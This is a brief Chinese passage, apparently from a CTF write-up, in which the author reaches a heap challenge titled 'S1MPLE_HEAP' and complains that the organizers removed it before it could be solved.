S1MPLE_HEAP

一路半磕磕碰碰半砍瓜切菜,最终来到了大boss(个人而言)堆题面前

坏消息:这题被官方抹杀了(悲)
大boss自己死了算什么鬼